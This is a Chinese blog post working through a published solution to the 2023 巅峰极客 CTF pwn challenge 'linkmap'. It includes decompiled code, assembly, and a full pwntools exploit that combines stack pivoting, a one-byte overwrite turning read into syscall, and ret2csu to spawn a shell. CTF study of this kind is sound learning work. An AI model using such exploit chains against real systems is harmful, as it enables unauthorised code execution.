2023巅峰极客 Pwn | linkmap

没做出来,于是来研究别人的writeup。
https://mp.weixin.qq.com/s/fG17e1JEvva-WKb0fxOFUA

分析

main函数很明显的栈溢出:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  setvbuf_();
  read(0, buf, 0x100uLL);
  return 0LL;
}

查看保护机制:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Full Relro,没办法用ret2dl-resolve。又没有打印函数,没办法泄露libc地址。
ida查看其他函数,

__int64 __fastcall sub_400606(int a1, int a2, int a3)
{
  __int64 result; // rax
  __int64 v4; // [rsp+14h] [rbp-8h]

  v4 = *(_QWORD *)(qword_601040 + a1);          // 以0x601040为起始地址,a1作为偏移地址,将任意地址的8字节数据写入v4
                                                // 有趣的是,qword_601040处恰好为0,于是a1是什么就将那的地址写入到qwrod_601040
  qword_601040 = v4;                            // v4的值又写回到qword_601040
  result = (unsigned int)a1;
  dword_601048 = a1;
  if ( a2 == 1 )                                // a2作为控制信号,当为1时,将获取到的值写入以0x601028为起始地址的数组,索引号为参数a3
  {
    result = v4;
    qword_601028[a3] = v4;
  }
  else if ( !a2 )                               // 当为0时,将获取到的值写入以0x601020为起始地址的数组,索引号为参数a3
  {
    result = v4;
    qword_601020[a3] = v4;
  }
  return result;
}

这个函数比较容易理解,以0x601040为起始地址,参数a1作为偏移地址,获取该地址的值传给v4,然后又写回到0x601040。后面的if并没有对0x601040进行修改,并且以参数a2真假作为判断条件,以参数a3作为偏移,分别以0x601028、0x601020作为起始地址,用v4进行赋值。
调试的时候发现0x601040处为0,所以a1就是要获取的值的地址,也就是在这可以实现任意地址获取,并写入到data段。我们可以用这个来获取got表中的read函数真实地址。而read函数与syscall的偏移是0x10。
于是思路如下:

  1. 将栈迁移到.bss段
  2. 调用sub_400606函数,参数a1=read函数的got地址,a2,a3随便,后面只调用0x601040
  3. 通过修改写入地址,用read函数修改0x601040的低地址,read的16位真实地址的最低三位为0x980,则syscall的是0x990,读入一个‘\x90'足以覆盖最低位。
  4. syscall调用execve("/bin/sh",0,0),参数需赋值:rax=59,rdi="/bin/sh",rsi=0,rdx=0
  5. 发送shell命令

exp

#coding:utf8  
from pwn import *  
context.log_level='debug'
io=process('./ezzzz')
gdb.attach(io)
# io=remote("pwn-12b3fb054a.challenge.xctf.org.cn", 9999, ssl=True)

pop_rdi=0x4007E3
pop_rsi=0x4007E1  # pop rsi ; pop r15 ; ret

# .text:0000000000400752                 lea     rax, [rbp+buf]
# .text:0000000000400756                 mov     edx, 100h       ; nbytes
# .text:000000000040075B                 mov     rsi, rax        ; buf
# .text:000000000040075E                 mov     edi, 0          ; fd
# .text:0000000000400763                 mov     eax, 0
# .text:0000000000400768                 call    read
# .text:000000000040076D                 mov     eax, 0
# .text:0000000000400772                 leave ---> mov rsp,rbp; pop rbp;
# .text:0000000000400773                 retn ---> pop sp;
pay=b'a'*0x10+p64(0x601c00)+p64(0x400752)  # 0x601c00作为新的rbp
io.send(pay)    # 这里是再次read,然后栈迁移
pause()

sleep(1)
pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00)
pay+=p64(pop_rdi)+p64(0x600fd8)+p64(pop_rsi)  # read的got地址:0x600fd8
pay+=p64(1)*2+p64(0x400606)+p64(0x400510)           # __libc_start_main的地址0x400510

# 这段pay将写入0x601bf0 = 0x601c00 - 0x10
io.send(pay)
# 0x601828和0x601040处将写入read的真实地址
# 0x601828 = 0x601028 + 0x100 * 8,0x100是read的第三个参数,一直没变,单位是qword,所以乘以8
pause()

pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00)
pay+=p64(pop_rdi)+p64(0)+p64(pop_rsi)
pay+=p64(0x601040)*2+p64(0x4004e0)+p64(0x400510)   # read_plt=0x4004e0
# 往0x601040写入东西

sleep(0.5)
io.send(pay)
pause()
sleep(0.5)
io.send('\x90') # 将0x7fb01ed14980 (read) 变成 0x7fb01ed14990 (syscall)
pause()
# .text:00000000004007DA                 pop     rbx
# .text:00000000004007DB                 pop     rbp
# .text:00000000004007DC                 pop     r12
# .text:00000000004007DE                 pop     r13
# .text:00000000004007E0                 pop     r14
# .text:00000000004007E2                 pop     r15
# .text:00000000004007E4                 retn
pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00)  # 始终让rbp为0x601c00,作为锚点,/bin/sh\x00的位置在rbp-0x10=0x601bf0
pay+=p64(pop_rdi)+p64(0)+p64(pop_rsi)
pay+=p64(0x6010d0)*2+p64(0x4004e0)+p64(0x4007DA)   
pay+=p64(0)+p64(1)+p64(0x601040)+p64(0)+p64(0)+p64(0x601c00-0x10)  # rbp=0x601c00,则读入的地方就是rbp-0x10
pay+=p64(0x4007C0)              # ret2csu,任意地址call

# execve("/bin/sh",0,0)
# rax:59
# rdi:"/bin/sh"
# rsi:0
# rdx:0

sleep(0.5)
io.send(pay)
pause()
# gdb.attach(io)
sleep(0.5)

io.send(b'a'*0x3b)  # why,59=0x3b,read函数读入后,返回值为读入字符串长度,存放至rax
# 先read了,再执行execve
pause()
# io.sendline('cat flag')
io.sendline('ls') 
io.recv()

io.interactive()

总结

  1. 被题目名称误导了,以为是伪造linkmap(其实也不熟练),应该用ret2dl-resolve,但程序设定Full Relro保护,没办法用ret2dl-resolve
  2. 栈迁移真的妙!栈迁移时为了栈空间可控,可以不断把rbp固定为一个值,上面的exp就是把rbp固定成0x601c00。
  3. ret2csu也真爽!ret2csu其实可以封装成一个函数。
  4. 用read函数可以进行单字节的覆盖,它不会在输入的字符串后面自动加上\0,但scanf,gets和fgets会。
  5. 用read函数返回值来给rax赋值也很有意思。
  6. sub_400606函数给开了挂,但做的时候并没有太关注这些函数。除了这个直接改成syscall的方法,也可以改成puts函数进行libc地址泄露,变成ret2libc。
  7. read和syscall偏移是0x10,因为read其实是要通过syscall调用的
.text:0000000000114980 read            proc near               ; CODE XREF: sub_355E0+1BF↑p
.text:0000000000114980                                         ; _IO_file_read+11↑j ...
.text:0000000000114980
.text:0000000000114980 fd              = qword ptr -20h
.text:0000000000114980 buf             = qword ptr -18h
.text:0000000000114980 count           = qword ptr -10h
.text:0000000000114980
.text:0000000000114980 ; __unwind {
.text:0000000000114980                 endbr64                 ; Alternative name is '__read'
.text:0000000000114984                 mov     eax, fs:18h
.text:000000000011498C                 test    eax, eax
.text:000000000011498E                 jnz     short loc_1149A0
.text:0000000000114990                 syscall                 ; LINUX -
.text:0000000000114992                 cmp     rax, 0FFFFFFFFFFFFF000h
.text:0000000000114998                 ja      short loc_1149F0
.text:000000000011499A                 retn
  1. 看writeup时发现一个ida插件(不仅支持ida)——decomp2dbg:A plugin to introduce interactive symbols into your debugger from your decompiler

关于sub_400606

其汇编代码:

.text:0000000000400606 sub_400606      proc near
.text:0000000000400606
.text:0000000000400606 var_1C          = dword ptr -1Ch
.text:0000000000400606 var_18          = dword ptr -18h
.text:0000000000400606 var_14          = dword ptr -14h
.text:0000000000400606 var_8           = qword ptr -8
.text:0000000000400606
.text:0000000000400606 ; __unwind {
.text:0000000000400606                 push    rbp
.text:0000000000400607                 mov     rbp, rsp
.text:000000000040060A                 mov     [rbp+var_14], edi
.text:000000000040060D                 mov     [rbp+var_18], esi
.text:0000000000400610                 mov     [rbp+var_1C], edx
.text:0000000000400613                 mov     rdx, cs:qword_601040
.text:000000000040061A                 mov     eax, [rbp+var_14]
.text:000000000040061D                 cdqe
.text:000000000040061F                 add     rax, rdx
.text:0000000000400622                 mov     rax, [rax]
.text:0000000000400625                 mov     [rbp+var_8], rax
.text:0000000000400629                 mov     rax, [rbp+var_8]
.text:000000000040062D                 mov     cs:qword_601040, rax
.text:0000000000400634                 mov     eax, [rbp+var_14]
.text:0000000000400637                 mov     cs:dword_601048, eax
.text:000000000040063D                 cmp     [rbp+var_18], 1
.text:0000000000400641                 jnz     short loc_40065C
.text:0000000000400643                 mov     eax, [rbp+var_1C]
.text:0000000000400646                 cdqe
.text:0000000000400648                 shl     rax, 3
.text:000000000040064C                 lea     rdx, qword_601028[rax]
.text:0000000000400653                 mov     rax, [rbp+var_8]
.text:0000000000400657                 mov     [rdx], rax
.text:000000000040065A                 jmp     short loc_400679
.text:000000000040065C ; ---------------------------------------------------------------------------
.text:000000000040065C
.text:000000000040065C loc_40065C:                             ; CODE XREF: sub_400606+3B↑j
.text:000000000040065C                 cmp     [rbp+var_18], 0
.text:0000000000400660                 jnz     short loc_400679
.text:0000000000400662                 mov     eax, [rbp+var_1C]
.text:0000000000400665                 cdqe
.text:0000000000400667                 shl     rax, 3
.text:000000000040066B                 lea     rdx, qword_601020[rax]
.text:0000000000400672                 mov     rax, [rbp+var_8]
.text:0000000000400676                 mov     [rdx], rax
.text:0000000000400679
.text:0000000000400679 loc_400679:                             ; CODE XREF: sub_400606+54↑j
.text:0000000000400679                                         ; sub_400606+5A↑j
.text:0000000000400679                 nop
.text:000000000040067A                 pop     rbp
.text:000000000040067B                 retn
.text:000000000040067B ; } // starts at 400606
.text:000000000040067B sub_400606      endp

在调试上面的exp的时候,发送第二段payload:

pay=b'/bin/sh\x00'+p64(59)+p64(0x601c00)
pay+=p64(pop_rdi)+p64(0x600fd8)+p64(pop_rsi)  # read的got地址:0x600fd8
pay+=p64(1)*2+p64(0x400606)+p64(0x400510)

此处传给sub_400606函数的第一个参数是0x600fd8,是read的got地址。
而若看ida对sub_400606的反汇编代码:

v4 = *(_QWORD *)(qword_601040 + a1);

qword_601040是一个地址为0x601040的空间,其值为0。所以上面的代码等价于:

v4 = *(_QWORD *)a1;

所以当传参a1为0x600df8时,v4为地址0x600df8上的值,即read的真实地址。
image

posted @ 2023-07-24 17:14  叶际参差  阅读(508)  评论(4编辑  收藏  举报